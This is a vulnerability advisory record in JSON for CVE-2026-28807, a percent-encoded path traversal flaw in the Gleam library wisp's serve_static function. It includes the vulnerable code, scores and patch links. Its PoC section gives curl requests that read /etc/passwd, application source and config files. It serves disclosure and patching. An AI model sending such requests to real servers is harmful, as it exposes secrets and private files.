{"id":"CVE-2026-28807","aliases":["CVE-2026-28807","GHSA-h7cj-j2vv-qw8r","EEF-CVE-2026-28807"],"related":[],"kind":"vulnerability","state":"published","title":"Path Traversal in wisp.serve_static allows arbitrary file read","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.\n\n### Details\n\nIn `src/wisp.gleam`, `serve_static` processes the request path in this order:\n\n```gleam\nlet path =\n  path\n  |> string.drop_start(string.length(prefix))\n  |> string.replace(each: \"..\", with: \"\")   // Step 1: sanitize\n  |> filepath.join(directory, _)\n\nlet path = case uri.percent_decode(path) {  // Step 2: decode\n  Ok(p) -> p\n  Error(_) -> path\n}\n```\n\nSanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.\n\n### PoC\n\nAny application using `wisp.serve_static`:\n\n```gleam\nfn handle_request(req: wisp.Request) -> wisp.Response {\n  use <- wisp.serve_static(req, under: \"/static\", from: priv_directory())\n  wisp.not_found()\n}\n```\n\nExploit (requires `--path-as-is` to prevent client-side normalization):\n\n```bash\n# Read /etc/passwd\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n\n# Read project source code\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam\"\n\n# Read project config\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml\"\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:\n\n- Application source code\n- Configuration and secrets in `priv/`\n- `.env` files, `secret_key_base`, private keys\n- System files (`/etc/passwd`, `/etc/shadow` if permissions allow)\n\n### Workaround\n\nCopy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.\n\n### References\n\n* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550\n* Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93","format":"markdown","source":"ghsa"},{"lang":"en","text":"## Summary\n\nImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe `wisp.serve_static` function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.","format":"markdown","source":"eef"},{"lang":"es","text":"Vulnerabilidad de Limitación Inadecuada de un Nombre de Ruta a un Directorio Restringido ('Salto de Ruta') en gleam-wisp wisp permite la lectura arbitraria de archivos mediante salto de ruta codificado en porcentaje.\n\nLa función wisp.serve_static es vulnerable a salto de ruta porque la sanitización se ejecuta antes de la decodificación de porcentaje. La secuencia codificada %2e%2e pasa por string.replace sin cambios, luego uri.percent_decode la convierte a .., que el sistema operativo resuelve como salto de directorio cuando se lee el archivo.\n\nUn atacante no autenticado puede leer cualquier archivo legible por el proceso de la aplicación en una única solicitud HTTP, incluyendo código fuente de la aplicación, archivos de configuración, secretos y archivos del sistema.\n\nEste problema afecta a wisp: desde 2.1.1 antes de 2.2.1.","source":"nvd"}],"published":"2026-03-10T21:34:47.859Z","modified":"2026-11-25T17:23:05.435Z","severity":{"scorer":"EEF","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"EEF","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"Erlang Ecosystem Foundation","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"type":"semver","introduced":"2.1.1","fixed":"2.2.1","status":"affected"}],"vendor":"gleam-wisp","product":"wisp","package":"wisp","cpe":"cpe:2.3:a:gleam-wisp:wisp:*:*:*:*:*:*:*:*","repo":"https://github.com/gleam-wisp/wisp","source":"cvelist"},{"ranges":[{"type":"git","introduced":"129dcb1fe10ab1e676145d91477535e1c90ab550","fixed":"*","status":"affected"}],"vendor":"gleam-wisp","product":"wisp","package":"gleam-wisp/wisp","cpe":"cpe:2.3:a:gleam-wisp:wisp:*:*:*:*:*:*:*:*","repo":"https://github.com/gleam-wisp/wisp","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.1.1","status":"affected","fixed":"2.2.1"}],"ecosystem":"Hex","package":"wisp","purl":"pkg:hex/wisp","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"2.1.1","status":"affected","fixed":"2.2.1"}],"ecosystem":"Hex","package":"wisp","purl":"pkg:hex/wisp","source":"eef"},{"ranges":[{"type":"git","introduced":"129dcb1fe10ab1e676145d91477535e1c90ab550","status":"affected","fixed":"161118c431047f7ef1ff7cabfcc38981877fdd93"},{"type":"git","status":"affected","fixed":"987d3641fa038f749f68621a87b5e9a42ee9ef83"}],"repo":"https://github.com/gleam-wisp/wisp","source":"eef"},{"ranges":[{"status":"affected","introduced":"2.1.1","fixed":"2.2.1"}],"vendor":"gleam-wisp","product":"wisp","cpe":"cpe:2.3:a:gleam-wisp:wisp:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/gleam-wisp/wisp/security/advisories/GHSA-h7cj-j2vv-qw8r","tags":["advisory","exploit","patch","related","vendor-advisory","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://cna.erlef.org/cves/CVE-2026-28807.html","tags":["related","third-party-advisory","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-28807","tags":["related","third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550","tags":["related","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93","tags":["fix","patch","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://github.com/gleam-wisp/wisp/commit/987d3641fa038f749f68621a87b5e9a42ee9ef83","tags":["fix","patch"],"sources":["cvelist","eef","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28807","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/gleam-wisp/wisp","tags":["package"],"sources":["ghsa"]},{"url":"https://hex.pm/packages/wisp","tags":["package"],"sources":["eef"]}],"credits":["John Downey","Louis Pilfold"],"assigner":"EEF","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-03-11T14:20:19.768Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-28807","url":"https://www.cve.org/CVERecord?id=CVE-2026-28807","licence":"CVE Terms of Use","modified":"2026-11-20T05:55:49.729Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-h7cj-j2vv-qw8r","url":"https://github.com/advisories/GHSA-h7cj-j2vv-qw8r","licence":"CC-BY-4.0","modified":"2026-06-08T23:45:16.922Z"},{"source":"eef","name":"Erlang Ecosystem Foundation","id":"EEF-CVE-2026-28807","url":"https://osv.dev/vulnerability/EEF-CVE-2026-28807","licence":"CC-BY-4.0","modified":"2026-11-25T17:23:05.435Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-28807","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28807","licence":"Public domain","modified":"2026-11-20T06:17:23.230Z"}],"updatedAt":"2026-11-25T22:59:15.671Z","epss":{"score":0.01233,"percentile":0.69833,"date":"2026-12-01T12:00:22.000Z"}}